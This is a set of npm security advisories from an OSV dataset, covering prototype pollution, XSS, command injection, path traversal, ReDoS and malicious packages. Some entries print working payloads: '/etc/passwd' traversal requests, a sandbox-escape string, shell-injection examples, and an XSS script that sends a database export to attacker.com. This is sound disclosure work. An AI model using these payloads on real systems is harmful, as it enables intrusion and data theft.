TQRG/raw-osv-data huggingface dataset:
Vulnerability: GHSA-7xrj-f5rp-j55h
Summary: Uncontrolled Resource Consumption in transpile
Aliases: CVE-2021-23429
Severity: MODERATE
CWE: CWE-400, CWE-755
Published: 2021-09-02T17:10:42Z

All versions of package transpile are vulnerable to Denial of Service (DoS) due to a lack of input sanitization or whitelisting, coupled with improper exception handling in the .to() function.
Vulnerability: GHSA-4c7m-wxvm-r7gc
Summary: Improper parsing of octal bytes in netmask
Aliases: CVE-2021-28918
Severity: CRITICAL
CWE: CWE-20
Published: 2021-04-14T15:03:16Z

Improper input validation of octal strings in netmask npm package v1.0.6 and below allows unauthenticated remote attackers to perform indeterminate SSRF, RFI, and LFI attacks on many of the dependent packages. A remote unauthenticated attacker can bypass packages relying on netmask to filter IPs and reach critical VPN or LAN hosts.

:exclamation: NOTE: The fix for this issue was incomplete. A subsequent fix was made in version `2.0.1` which was assigned [CVE-2021-29418 / GHSA-pch5-whg9-qr2r](https://github.com/advisories/GHSA-pch5-whg9-qr2r). For complete protection from this vulnerability an upgrade to version 2.0.1 or later is recommended.
Vulnerability: GHSA-779f-wgxg-qr8f
Summary: Prototype Pollution in lodash.mergewith
Severity: HIGH
CWE: CWE-1321
Published: 2020-09-03T18:10:22Z

Versions of `lodash.mergewith` before 4.6.2 are vulnerable to prototype pollution. The function `mergeWith` may allow a malicious user to modify the prototype of `Object` via `{constructor: {prototype: {...}}}` causing the addition or modification of an existing property that will exist on all objects.




## Recommendation

Update to version 4.6.2 or later.
Vulnerability: GHSA-28hp-fgcr-2r4h
Summary: Cross-Site Scripting via JSONP
Severity: MODERATE
CWE: CWE-79
Published: 2019-06-27T17:25:42Z

JSONP allows untrusted resource URLs, which provides a vector for attack by malicious actors.
Vulnerability: GHSA-3r8w-mphv-2f3f
Summary: Prototype Pollution
Aliases: CVE-2021-23396
Severity: MODERATE
CWE: CWE-1321
Published: 2021-06-21T17:12:25Z

All versions of package lutils are vulnerable to Prototype Pollution via the main (merge) function.
Vulnerability: GHSA-mgr2-3mpv-43gc
Summary: Downloads Resources over HTTP in openframe-image
Aliases: CVE-2016-10616
Severity: HIGH
CWE: CWE-269, CWE-311
Published: 2019-02-18T23:47:37Z

Affected versions of `openframe-image` insecurely downloads resources over HTTP. 

In scenarios where an attacker has a privileged network position, they can modify or read such resources at will. While the exact severity of impact for a vulnerability like this is highly variable and depends on the behavior of the package itself, it ranges from being able to read sensitive information all the way up to and including remote code execution.


## Recommendation

No patch is currently available for this vulnerability.

The best mitigation is currently to avoid using this package, using a different package if available. 

Alternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.
Vulnerability: GHSA-r659-8xfp-j327
Summary: Prototype Pollution in objection.js
Aliases: CVE-2021-3766
Severity: CRITICAL
CWE: CWE-915, CWE-1321
Published: 2021-09-07T23:09:43Z

objection.js prior to version 2.2.16 is vulnerable to Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'). This issue is patched in version 2.2.16.
Vulnerability: GHSA-773h-w45w-f2f9
Summary: Denial of service vulnerability exists in libxmljs
Aliases: CVE-2022-21144
Severity: HIGH
CWE: CWE-400
Published: 2022-05-03T00:00:46Z

libxmljs provides libxml bindings for v8 javascript engine. This affects all versions of package libxmljs. When invoking the libxmljs.parseXml function with a non-buffer argument the V8 code will attempt invoking the .toString method of the argument. If the argument's toString value is not a Function object V8 will crash.
Vulnerability: GHSA-6gww-qpm6-mc2g
Summary: Server-Side Request Forgery in ssrf-agent
Aliases: CVE-2021-23718
Severity: MODERATE
CWE: CWE-918
Published: 2021-12-02T17:51:51Z

The package ssrf-agent before 1.0.5 are vulnerable to Server-side Request Forgery (SSRF) via the defaultIpChecker function. It fails to properly validate if the IP requested is private.
Vulnerability: GHSA-gfj6-p24g-6hpm
Summary: Malicious Package in jc-sha3
Severity: CRITICAL
CWE: CWE-506
Published: 2020-09-03T22:55:06Z

Version 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.


## Recommendation

Remove the package from your environment. Ensure no Ethereum funds were compromised.
Vulnerability: GHSA-h9v8-rm3m-5h5f
Summary: OS Command Injection in git-add-remote
Aliases: CVE-2020-7630
Severity: CRITICAL
CWE: CWE-78
Published: 2022-02-10T23:47:47Z

git-add-remote through 1.0.0 is vulnerable to Command Injection. It allows execution of arbitrary commands via the name argument.
Vulnerability: GHSA-96qc-ghj4-rq27
Summary: Directory Traversal in yttivy
Aliases: CVE-2017-16219
Severity: HIGH
CWE: CWE-22
Published: 2020-09-01T18:24:56Z

Affected versions of `yttivy` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.

Example request:
```
GET /../../../../../../../../../../etc/passwd HTTP/1.1
host:foo
```


## Recommendation

No patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.
Vulnerability: GHSA-wj36-v8j4-pc7c
Summary: Low severity vulnerability that affects express-cart
Aliases: CVE-2018-16483
Severity: HIGH
CWE: CWE-290
Published: 2019-02-07T18:16:03Z

A deficiency in the access control in module express-cart <=1.1.5 allows unprivileged users to add new users to the application as administrators.
Vulnerability: GHSA-vqmr-957g-r7w3
Summary: High severity vulnerability that affects rendertron
Aliases: CVE-2017-18355
Severity: HIGH
CWE: CWE-200
Published: 2019-02-12T15:36:39Z

Installed packages are exposed by node_modules in Rendertron 1.0.0, allowing remote attackers to read absolute paths on the server by examining the "_where" attribute of package.json files.
Vulnerability: GHSA-vm6v-w6q2-mrrq
Summary: Malicious Package in bb-builder
Severity: CRITICAL
CWE: CWE-506
Published: 2020-09-03T19:20:05Z

All versions of `bb-builder` contained malicious code. The package ran an executable targeting Windows and uploaded information to a remote server.


## Recommendation

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.

The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Vulnerability: GHSA-m362-87jc-f39v
Summary: Directory Traversal in uv-tj-demo
Aliases: CVE-2017-16200
Severity: HIGH
CWE: CWE-22
Published: 2020-09-01T18:16:24Z

Affected versions of `uv-tj-demo` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.

Example request:
```
GET /../../../../../../../../../../etc/passwd HTTP/1.1
host:foo
```


## Recommendation

No patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.
Vulnerability: GHSA-82gw-pqf7-q3j2
Summary: High severity vulnerability that affects pym.js
Aliases: CVE-2018-1000086
Severity: HIGH
CWE: CWE-352
Published: 2018-03-13T20:38:51Z

NPR Visuals Team Pym.js version versions 0.4.2 up to 1.3.1 contains a Cross Site Request Forgery (CSRF) vulnerability in Pym.js _onNavigateToMessage function. 

https://github.com/nprapps/pym.js/blob/master/src/pym.js#L573 that can result in Arbitrary javascript code execution. This attack appear to be exploitable via Attacker gains full javascript access to pages with Pym.js embeds when user visits an attacker crafted page.. This vulnerability appears to have been fixed in versions 1.3.2 and later.
Vulnerability: GHSA-c5hm-xc74-pqrg
Summary: OS Command Injection in jscover
Aliases: CVE-2020-7623
Severity: CRITICAL
CWE: CWE-78
Published: 2022-02-10T23:37:22Z

jscover through 1.0.0 is vulnerable to Command Injection. It allows execution of arbitrary command via the source argument.
Vulnerability: GHSA-hjgp-8ffr-hwwr
Summary: Downloads Resources over HTTP in closurecompiler
Aliases: CVE-2016-10582
Severity: HIGH
CWE: CWE-311
Published: 2019-02-18T23:51:19Z

Affected versions of `closurecompiler` insecurely download an executable over an unencrypted HTTP connection. 

In scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `closurecompiler`.


## Recommendation

Update to version 1.6.1 or later.
Vulnerability: GHSA-762c-v946-pf25
Summary: Malicious Package in bpi39
Severity: CRITICAL
CWE: CWE-506
Published: 2020-09-04T16:47:33Z

All versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.


## Recommendation

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.

The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Vulnerability: GHSA-r3x4-wr4h-pw33
Summary: Sandbox Breakout / Arbitrary Code Execution in safer-eval
Aliases: CVE-2019-10759
Severity: CRITICAL
CWE: CWE-94
Published: 2019-10-21T21:58:34Z

Versions of `safer-eval` prior to 1.3.4 are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload using constructor properties can escape the sandbox and execute arbitrary code. For example, evaluating he string `console.constructor.constructor('return process')().env` prints `process.env` to the console.


## Recommendation

Upgrade to version 1.3.4 or later.
Vulnerability: GHSA-455m-q3h9-34pf
Summary: Downloads Resources over HTTP in windows-seleniumjar-mirror
Aliases: CVE-2016-10670
Severity: HIGH
CWE: CWE-311
Published: 2019-02-18T23:44:29Z

Affected versions of `windows-seleniumjar-mirror` insecurely download an executable over an unencrypted HTTP connection. 

In scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `windows-seleniumjar-mirror`.


## Recommendation

No patch is currently available for this vulnerability.

Currently, the best mitigation is to download the selenium jar file manually from [seleniumHQ](https://www.seleniumhq.org/download/).

Alternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.
Vulnerability: GHSA-mc7w-4cjf-c973
Summary: OS Command Injection in node-opencv
Aliases: CVE-2019-10061
Severity: CRITICAL
CWE: CWE-78
Published: 2021-10-12T22:06:57Z

utils/find-opencv.js in node-opencv (aka OpenCV bindings for Node.js) prior to 6.1.0 is vulnerable to Command Injection. It does not validate user input allowing attackers to execute arbitrary commands.
Vulnerability: GHSA-fw4p-36j9-rrj3
Summary: Denial of Service in sequelize
Severity: MODERATE
Published: 2020-09-03T20:25:33Z

Versions of `sequelize` prior to 4.44.4 are vulnerable to Denial of Service (DoS). The SQLite dialect fails to catch a `TypeError` exception for the `results` variable. The `results` value may be undefined and trigger the error on a `.map` call. This may allow attackers to submit malicious input that forces the exception and crashes the Node process.  

The following proof-of-concept crashes the Node process:  
```
const Sequelize = require('sequelize');

const sequelize = new Sequelize({
	dialect: 'sqlite',
	storage: 'database.sqlite'
});

const TypeError = sequelize.define('TypeError', {
	name: Sequelize.STRING,
});

TypeError.sync({force: true}).then(() => {
	return TypeError.create({name: "SELECT tbl_name FROM sqlite_master"});
});
```


## Recommendation

Upgrade to version 4.44.4 or later.
Vulnerability: GHSA-jppx-hw2f-8gx4
Summary: Downloads Resources over HTTP in chromedriver126
Aliases: CVE-2016-10609
Severity: HIGH
CWE: CWE-311
Published: 2019-02-18T23:33:30Z

Affected versions of `chromedriver126` insecurely download an executable over an unencrypted HTTP connection. 

In scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `chromedriver126`.


## Recommendation

No patch is currently available for this vulnerability.

The best mitigation is currently to avoid using this package, using a different package if available. 

Alternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.
Vulnerability: GHSA-m9hw-7xfv-wqg7
Summary: Prototype Pollution in json-logic-js
Severity: HIGH
CWE: CWE-471
Published: 2020-11-12T19:36:14Z

Versions of json-logic-js prior to 2.0.0 are vulnerable to Prototype Pollution. The method operation allows a malicious user to modify the prototype of Object through the method property name. This causes modification of any existing property that will exist on all objects and leads to Remote Code Execution.

The following rule creates a popup when run from a browser:
```
{
  "method": [
    {
      "method": [
        {
          "var": "__proto__.constructor.is.__proto__"
        },
        "constructor",
        [
          "var x = 'SECURITY!'; console.log(x, window.fetch); alert(x)"
        ]
      ]
    },
    "call"
  ]
}
```
Vulnerability: GHSA-9p47-w5xp-f4xr
Summary: Downloads Resources over HTTP in windows-build-tools
Aliases: CVE-2017-16003
Severity: HIGH
CWE: CWE-311
Published: 2018-11-09T17:48:37Z

Affected versions of `windows-build-tools` insecurely download an executable over an unencrypted HTTP connection. 

In scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `windows-build-tools`.


## Recommendation

Update to version 1.0.0 or later.
Vulnerability: GHSA-hjp8-2cm3-cc45
Summary: Cookie exposure in requestretry
Aliases: CVE-2022-0654
Severity: HIGH
CWE: CWE-200
Published: 2022-02-24T00:00:54Z

Exposure of Sensitive Information to an Unauthorized Actor in GitHub repository fgribreau/node-request-retry prior to 7.0.0 via cookies being leaked to external sites.
Vulnerability: GHSA-hwcf-pp87-7x6p
Summary: Moderate severity vulnerability that affects ejs
Aliases: CVE-2017-1000188
Severity: MODERATE
CWE: CWE-79
Published: 2017-11-30T23:15:05Z

nodejs ejs version older than 2.5.5 is vulnerable to a Cross-site-scripting in the ejs.renderFile() resulting in code injection
Vulnerability: GHSA-66rh-8fw6-59q6
Summary: Prototype Pollution in assign-deep
Aliases: CVE-2019-10745
Severity: HIGH
CWE: CWE-915, CWE-20
Published: 2019-08-21T16:15:13Z

Versions of `assign-deep` prior to 1.0.1 are vulnerable to Prototype Pollution. The `assign` function fails to validate which Object properties it updates. This allows attackers to modify the prototype of Object, causing the addition or modification of an existing property on all objects.




## Recommendation

Upgrade to version 1.0.1 or later.
Vulnerability: GHSA-h9wr-xr4r-66fh
Summary: Cross-Site Scripting in dmn-js-properties-panel
Severity: HIGH
CWE: CWE-79
Published: 2020-09-03T18:20:20Z

Versions of `dmn-js-properties-panel` prior to 0.8.0 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize input in specially configured diagrams, which may allow attackers to inject arbitrary JavaScript in the embedding website.


## Recommendation

Upgrade to version 0.3.0 or later.
Vulnerability: GHSA-h96f-fc7c-9r55
Summary: Regex denial of service vulnerability in codesample plugin
Severity: LOW
CWE: CWE-400
Published: 2021-01-06T19:25:46Z

### Impact
A regex denial of service (ReDoS) vulnerability was discovered in a dependency of the `codesample` plugin. The vulnerability allowed poorly formed ruby code samples to lock up the browser while performing syntax highlighting. This impacts users of the `codesample` plugin using TinyMCE 5.5.1 or lower.

### Patches
This vulnerability has been patched in TinyMCE 5.6.0 by upgrading to a version of the dependency without the vulnerability.

### Workarounds
To work around this vulnerability, either:
- Upgrade to TinyMCE 5.6.0 or higher
- Disable the `codesample` plugin
- Disable ruby code samples using the [codesample_languages](https://www.tiny.cloud/docs/plugins/opensource/codesample/#exampleusingcodesample_languages) setting
- Override the PrismJS syntax highlighter to version 1.21.0 or higher using the [codesample_global_prismjs](https://www.tiny.cloud/docs/plugins/opensource/codesample/#codesample_global_prismjs) setting

### Acknowledgements
Tiny Technologies would like to thank Erik Krogh Kristensen at GitHub for discovering this vulnerability.

### References
https://www.tiny.cloud/docs/release-notes/release-notes56/#securityfixes

### For more information
If you have any questions or comments about this advisory:
* Open an issue in the [TinyMCE repo](http://github.com/tinymce/tinymce/issues)
* Email us at [infosec@tiny.cloud](mailto:infosec@tiny.cloud)
Vulnerability: GHSA-9hc2-w9gg-q6jw
Summary: Malicious Package in boogeyman
Severity: CRITICAL
CWE: CWE-506
Published: 2020-09-01T21:07:41Z

All versions of `boogeyman` are considered malicious. This particular package would download a payload from pastebin.com, eval it to read ssh keys and the users `.npmrc` and send them to a private pastebin account.


## Recommendation

This package was published to the npm Registry for a very short period of time. If you happen to find it in your environment you should revoke and rotate your ssh keys and your npm token.
Vulnerability: GHSA-mfc2-93pr-jf92
Summary: Malicious code in `loadyaml`
Severity: CRITICAL
CWE: CWE-506
Published: 2020-10-01T17:10:15Z

npm packages `loadyaml` and `electorn` were removed from the npm registry for containing malicious code. Upon installation the package runs a preinstall script that writes a public comment on GitHub containing the following information:
- IP and IP-based geolocation
- home directory name
- local username 

The malicious packages have been removed from the npm registry and the leaked content removed from GitHub.
Vulnerability: GHSA-f2rp-38vg-j3gh
Summary: Null characters not escaped
Aliases: CVE-2021-21384
Severity: HIGH
CWE: CWE-88
Published: 2021-03-18T23:47:56Z

### Impact

Anyone using _Shescape_ to defend against shell injection may still be vulnerable against shell injection if the attacker manages to insert a [null character](https://en.wikipedia.org/wiki/Null_character) into the payload. For example (on Windows):

```javascript
const cp = require("child_process");
const shescape = require("shescape");

const nullChar = String.fromCharCode(0);
const payload = "foo\" && ls -al ${nullChar} && echo \"bar";
console.log(cp.execSync(`echo ${shescape.quote(payload)}`));
// foototal 3
// drwxr-xr-x 1 owner XXXXXX      0 Mar 13 18:44 .
// drwxr-xr-x 1 owner XXXXXX      0 Mar 13 00:09 ..
// drwxr-xr-x 1 owner XXXXXX      0 Mar 13 18:42 folder                                                                 
// -rw-r--r-- 1 owner XXXXXX      0 Mar 13 18:42 file
```

### Patches

The problem has been patched in [v1.1.3](https://github.com/ericcornelissen/shescape/releases/tag/v1.1.3) which you can upgrade to now. No further changes are required.

### Workarounds

Alternatively, null characters can be stripped out manually using e.g. `arg.replace(/\u{0}/gu, "")`
Vulnerability: GHSA-h24f-9mm4-w336
Summary: Cross-site Scripting (XSS) - Stored in crud-file-server
Aliases: CVE-2018-3726
Severity: CRITICAL
CWE: CWE-79
Published: 2018-07-18T18:34:27Z

Versions of `crud-file-server` before 0.8.0 are vulnerable to stored cross-site scripting (XSS). This is due to insufficient santiziation of filenames when directory index is served by `crud-file-server`.


## Recommendation

Update to version 0.8.0 or later.
Vulnerability: GHSA-whv6-rj84-2vh2
Summary: Cross-Site Scripting in nextcloud-vue-collections
Severity: HIGH
CWE: CWE-79
Published: 2020-09-04T17:21:58Z

Versions of `nextcloud-vue-collections` prior to 0.4.2 are vulnerable to Cross-Site Scripting (XSS).  The `v-tooltip` component has an insecure `defaultHTML` configuration that allows arbitrary JavaScript to be injected in the tooltip of a collection item. This allows attackers to execute arbitrary code in a victim's browser.


## Recommendation

Upgrade to version 0.4.2 or later.
Vulnerability: GHSA-p2c4-gxp4-j3xp
Summary: Denial of service in Valine
Aliases: CVE-2021-34801
Severity: MODERATE
CWE: CWE-94
Published: 2021-06-21T17:11:25Z

Valine is a fast, simple & powerful comment system. Valine 1.4.14 allows remote attackers to cause a denial of service (application outage) by supplying a ua (aka User-Agent) value that only specifies the product and version.
Vulnerability: GHSA-3xc7-xg67-pw99
Summary: Sensitive Data Exposure in sequelize-cli
Severity: LOW
CWE: CWE-532
Published: 2019-06-05T20:43:10Z

Versions of `sequelize-cli` prior to 5.5.0 are vulnerable to Sensitive Data Exposure. The function `filteredURL()` does not properly sanitize the `config.password` value which may cause passwords with special characters to be logged in plain text.


## Recommendation

Upgrade to version 5.5.0 or later.
Vulnerability: GHSA-4f6x-49g2-99fm
Summary: Cross-site Scripting in Mermaid
Aliases: CVE-2021-35513
Severity: MODERATE
CWE: CWE-79
Published: 2021-12-10T18:57:41Z

Mermaid before 8.11.0 allows XSS when the antiscript feature is used.
Vulnerability: GHSA-jcw8-r9xm-32c6
Summary: Command Injection in dns-sync
Aliases: CVE-2017-16100
Severity: CRITICAL
CWE: CWE-94
Published: 2018-07-18T18:28:02Z

Affected versions of `dns-sync` have an arbitrary command execution vulnerability in the `resolve()` method. 



## Recommendation

- Use an alternative dns resolver
- Do not allow untrusted input into `dns-sync.resolve()`
Vulnerability: GHSA-4xf9-pgvv-xx67
Summary: Regular Expression Denial of Service in simple-markdown
Severity: MODERATE
CWE: CWE-400
Published: 2020-09-03T20:27:46Z

Versions of `simple-markdown` prior to 0.5.2 are vulnerable to Regular Expression Denial of Service (ReDoS). The `SimpleMarkdown.defaultInlineParse()` function has significantly degraded performance when parsing inline code blocks.


## Recommendation

Upgrade to version 0.5.2 or later.
Vulnerability: GHSA-pj7m-g53m-7638
Summary: Moderate severity vulnerability that affects bootstrap
Aliases: CVE-2018-14041
Severity: MODERATE
CWE: CWE-79
Published: 2018-09-13T15:49:56Z

In Bootstrap before 4.1.2, XSS is possible in the data-target property of scrollspy. This is similar to CVE-2018-14042.
Vulnerability: GHSA-8whr-v3gm-w8h9
Summary: Command Injection in node-rules
Severity: HIGH
CWE: CWE-78
Published: 2020-09-03T15:51:04Z

Versions of `node-rules` prior to 5.0.0 are vulnerable to Command Injection. The package fails to sanitize input rules and passes it directly to an `eval` call when using the `fromJSON` function. This may allow attackers to execute arbitrary code in the system if the rules are user-controlled.


## Recommendation

Upgrade to version 5.0.0 or later.
Vulnerability: GHSA-g5q2-fcg9-j526
Summary: Malicious Package in hsf-clients
Severity: CRITICAL
CWE: CWE-506
Published: 2020-09-03T17:40:18Z

All versions of `hsf-clients` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.


## Recommendation

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.

The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Vulnerability: GHSA-hrpp-f84w-xhfg
Summary: Outdated Static Dependency in vue-moment
Severity: MODERATE
CWE: CWE-1104
Published: 2020-09-04T16:55:06Z

Versions of `vue-moment` prior to 4.1.0 contain an Outdated Static Dependency. The package depends on `moment` and has it loaded statically instead of as a dependency that can be updated. It has `moment@2.19.1` that contains a Regular Expression Denial of Service vulnerability.


## Recommendation

Upgrade to version 4.1.0 or later.
Vulnerability: GHSA-whrh-9j4q-g7ph
Summary: CSRF Vulnerability in polaris-website
Severity: MODERATE
CWE: CWE-352
Published: 2020-08-05T21:43:19Z

### Impact
CSRF vulnerability:
In some very specific circumstances, an attacker would be able to update your settings.
Basically you would need to navigate to hackersite.com while logged into our panel. Then they could modify your settings. They couldn't check if it worked, nor could they read your settings.

### Patches
As of v1.1.1 this has been patched by implementing the Double submit pattern using a cookie.

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [Polaris-React](https://github.com/polaris-rbx/polaris-react)
* Email us at [hi@nezto.re](mailto:hi@nezto.re)
* Join our discord (preferred): https://discord.gg/QevWabU
Vulnerability: GHSA-pp4v-55vr-9gxh
Summary: Regular Expression Denial of Service in riot-compiler
Aliases: CVE-2016-10527
Severity: MODERATE
CWE: CWE-400
Published: 2019-02-18T23:39:13Z

Affected versions of `riot-compiler` are susceptible to a regular expression denial of service vulnerability.


## Recommendation

Update to version 2.3.22 or later.
Vulnerability: GHSA-v4rh-8p82-6h5w
Summary: Regular expression denial of service in url-regex
Aliases: CVE-2020-7661
Severity: HIGH
CWE: CWE-400
Published: 2020-06-22T14:39:03Z

all versions of url-regex are vulnerable to Regular Expression Denial of Service. An attacker providing a very long string in String.test can cause a Denial of Service.
Vulnerability: GHSA-7p8h-86p5-wv3p
Summary: Cross-site scripting
Aliases: CVE-2021-21422
Severity: HIGH
CWE: CWE-79
Published: 2021-06-28T17:18:04Z

Two kinds of XSS were found:

1.  As mentioned in https://github.com/mongo-express/mongo-express/issues/577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell.
2. Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc.



### Impact
As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload:
```JSON
{"someField": "long string here to surpass the limit of document ...... <script> await fetch('http://localhost:8081/db/testdb/export/users').then( async res =>  await fetch('http://attacker.com?backup='+encodeURIComponent((await res.text())))) </script>"  }
```
This will send an export of a collection to the attacker without even admin knowing. Other types of attacks such as dropping a database\collection are also possible.

### Patches
Upgrade to  `v1.0.0-alpha.4`

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [mongo-express](https://github.com/mongo-express/mongo-express/issues/new)
* Email me at [jafar.akhoondali@gmail.com](mailto:jafar.akhoondali@gmail.com)
Vulnerability: GHSA-4448-rc82-fcr7
Summary: Path Traversal in serve-here.js
Aliases: CVE-2019-5444
Severity: MODERATE
CWE: CWE-22
Published: 2021-09-22T18:40:57Z

Versions of serve-here.js prior to 1.2.0 are vulnerable to Path Traversal. The package fails to sanitize URLs, allowing attackers to access server files outside of the served folder using relative paths.
Vulnerability: GHSA-3q6f-8grx-pr4v
Summary: Cross-site scripting in jspdf
Aliases: CVE-2020-7691
Severity: MODERATE
CWE: CWE-79
Published: 2021-05-11T16:43:52Z

"It's possible to use nested script tags in order to bypass the filtering regex."
Vulnerability: GHSA-j899-348x-h3rq
Summary: Malicious Package in serializes
Severity: CRITICAL
CWE: CWE-506
Published: 2020-09-03T19:57:54Z

This package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.


## Recommendation

Remove the package from your environment. There are no indications of further compromise.
Vulnerability: GHSA-pjmx-9xr3-82qr
Summary: ReDoS via long UserAgent header in useragent
Aliases: CVE-2017-16030
Severity: HIGH
CWE: CWE-400
Published: 2018-07-24T19:59:13Z

Affected versions of `useragent` are vulnerable to regular expression denial of service when an arbitrarily long `User-Agent` header is parsed.


## Proof of Concept
```
var useragent = require('useragent');

var badUserAgent = 'MSIE 0.0'+Array(900000).join('0')+'XBLWP';
var request = 'GET / HTTP/1.1\r\nUser-Agent: ' + badUserAgent + '\r\n\r\n';
console.log(useragent.parse(request));
```


## Recommendation

Update to version 2.1.13 or later.
Vulnerability: GHSA-9p2w-rmx4-9mw7
Summary: Command Injection in strapi
Severity: HIGH
CWE: CWE-77
Published: 2020-09-04T16:54:02Z

Versions of `strapi` before 3.0.0-beta.17.8 are vulnerable to Command Injection. The package fails to sanitize plugin names in the `/admin/plugins/install/` route. This may allow an authenticated attacker with admin privileges to run arbitrary commands in the server.


## Recommendation

Upgrade to version 3.0.0-beta.17.8 or later
Vulnerability: GHSA-m5p4-7wf9-6w99
Summary: Malicious Package in regenrator
Severity: CRITICAL
CWE: CWE-506
Published: 2020-09-01T21:10:53Z

All versions of `regenrator` are considered malicious. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When executed, the package calls home to a Command and Control server to execute arbitrary commands.


## Recommendation

This package was published to the npm Registry for a very short period of time. If you happen to find it in your environment you should revoke and rotate all credentials  found on the compromised machine, as well as completely erase the affected machine and reinstall your Operating System.
Vulnerability: GHSA-8jjf-w7j6-323c
Summary: Authentication Bypass in samlify
Aliases: CVE-2017-1000452
Severity: HIGH
CWE: CWE-91
Published: 2018-01-04T21:03:33Z

Versions of `samlify` prior to 2.4.0 are vulnerable to Authentication Bypass. The package fails to prevent XML Signature Wrapping, allowing tokens to be reused with different usernames. A remote attacker can modify SAML content for a SAML service provider without invalidating the cryptographic signature, which may allow attackers to bypass primary authentication for the affected SAML service provider.


## Recommendation

Upgrade to version 2.4.0 or later
Vulnerability: GHSA-49q3-8867-5wmp
Summary: Remote Command Execution in reg-keygen-git-hash-plugin
Aliases: CVE-2021-32673
Severity: HIGH
CWE: CWE-94, CWE-78
Published: 2021-06-08T18:47:06Z

### Impact

`reg-keygen-git-hash-plugin` through 0.10.15 allow remote attackers to execute of arbitrary commands.

### Patches

Upgrade to version 0.10.16 or later.

### For more information

If you have any questions or comments about this advisory:
- Open an issue in [reg-viz/reg-suit](https://github.com/reg-viz/reg-suit)
Vulnerability: GHSA-wh69-wc6q-7888
Summary: Command injection in node-dns-sync
Aliases: CVE-2020-11079
Severity: HIGH
CWE: CWE-77, CWE-94
Published: 2020-05-28T18:42:59Z

dns-sync through 0.2.0 allows execution of arbitrary commands . This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.
Vulnerability: GHSA-884p-74jh-xrg2
Summary: Command Injection in tree-kill
Severity: HIGH
CWE: CWE-77
Published: 2020-09-04T16:57:20Z

Versions of `tree-kill` prior to 1.2.2 are vulnerable to Command Injection. The package fails to sanitize values passed to the  `kill` function. If this value is user-controlled it  may allow attackers to run arbitrary commands in the server. The issue only affects Windows systems.


## Recommendation

Upgrade to version 1.2.2 or later.
Vulnerability: GHSA-97m3-w2cp-4xx6
Summary: Embedded Malicious Code in node-ipc
Aliases: CVE-2022-23812
Severity: CRITICAL
CWE: CWE-506, CWE-94
Published: 2022-03-16T23:54:32Z

The package node-ipc versions 10.1.1 and 10.1.2 are vulnerable to embedded malicious code that was introduced by the maintainer. The malicious code was intended to overwrite arbitrary files dependent upon the geo-location of the user IP address. The maintainer removed the malicious code in version 10.1.3.
Vulnerability: GHSA-r9q4-w3fm-wrm2
Summary: Cross-Site Scripting in google-closure-library
Severity: MODERATE
CWE: CWE-79
Published: 2020-09-02T21:21:43Z

Versions of `google-closure-library` prior to 20190301.0.0 are vulnerable to Cross-Site Scripting. The `safedomtreeprocessor.processToString()` function improperly processed empty elements, which could allow attackers to execute arbitrary JavaScript through Mutation Cross-Site Scripting.


## Recommendation

Upgrade to version 20190301.0.0 or later.
Vulnerability: GHSA-hxwm-x553-x359
Summary: Arbitrary Command Injection due to Improper Command Sanitization
Severity: MODERATE
CWE: CWE-78
Published: 2021-08-05T17:07:39Z

### Summary
There exists a command injection vulnerability in `npmcli/git` versions <2.0.8 which may result in arbitrary shell command execution due to improper argument sanitization when `npmcli/git` is used to execute Git commands based on user controlled input. 

The impact of this issue is possible Arbitrary Command Injection when `npmcli/git` is run with untrusted (user controlled) Git command arguments. 

### Impact

Arbitrary Command Injection

### Details

`npmcli/git` prior to release `2.0.8` passed user controlled input as arguments to a shell command without properly sanitizing this input. Passing unsanitized input to a shell can lead to arbitrary command injection. For example passing `git+https://github.com/npm/git; echo hello world` would trigger the shell execution of `echo hello world`.  

This issue was remediated by no longer running `npmcli/git` git commands through an intermediate shell.

